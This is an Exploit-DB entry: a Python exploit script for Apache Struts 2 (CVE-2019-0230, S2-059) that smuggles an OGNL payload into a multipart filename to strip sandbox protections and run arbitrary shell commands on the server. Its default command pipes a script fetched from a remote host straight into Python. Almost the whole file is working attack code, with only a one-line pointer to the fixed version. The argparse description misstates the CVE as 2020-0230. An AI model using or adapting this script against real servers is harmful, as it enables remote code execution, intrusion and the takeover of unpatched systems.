exploit-db-mirror/exploits/multiple/remote/49068.py

# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Date: 08/18/2020
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22

# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging


class Exploit:
    def __init__(
            self,
            target='',
            redirect=False,
            proxy_address=''
    ):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.target = target
        self.session = requests.session()
        self.redirect = redirect
        self.timeout = 0.5
        self.proxies = {
            'http': 'http://%s' % proxy_address,
            'https': 'http://%s' % proxy_address
        } \
            if proxy_address is not None \
               and proxy_address != '' else {}
        self.query_params = {}
        self.form_values = {}
        self.cookies = {}
        boundary = "---------------------------735323031399963166993862150"
        self.headers = {
            'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
            'Accept': '*/*',
            'Connection': 'close'
        }
        payload = "%{(#nike='multipart/form-data')." \
                  "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
                  "(#_memberAccess?(#_memberAccess=#dm):" \

"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\

"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
                  "(#ognlUtil.getExcludedPackageNames().clear())." \
                  "(#ognlUtil.getExcludedClasses().clear())." \
                  "(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \

"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\

"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
                  "(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \

"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\

"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
                  "(#ros.flush())}"

        self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
                       "filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
                           boundary, payload, boundary
                       )

    def do_get(self, url, params=None, data=None):
        return self.session.get(
            url=url,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            data=data,
            params=params
        )

    def do_post(self, url, data=None, params=None):
        return self.session.post(
            url=url,
            data=data,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            params=params
        )

    def debug(self):
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
        url = self.target
        stdout.write('sending payload to %s payload %s' % (url, command))
        resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
        return resp


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True,
                                     description='CVE-2020-0230 Struts
2 exploit')
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
        parser.add_argument('-command', action='store',
                            help='Command to execute: touch /tmp/pwn')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

        if len(argv) == 1:
            parser.print_help()
            exit(1)
        options = parser.parse_args()

        exp = Exploit(
            proxy_address=options.proxy,
            target=options.target
        )

        if options.debug:
            exp.debug()
            stdout.write('target %s debug %s proxy %s\n' % (
                options.target, options.debug, options.proxy
            ))

        result = exp.send_payload(command=options.command)
        stdout.write('Response: %d\n' % result.status_code)

    except Exception as error:

stderr.write('error in main %s' % str(error))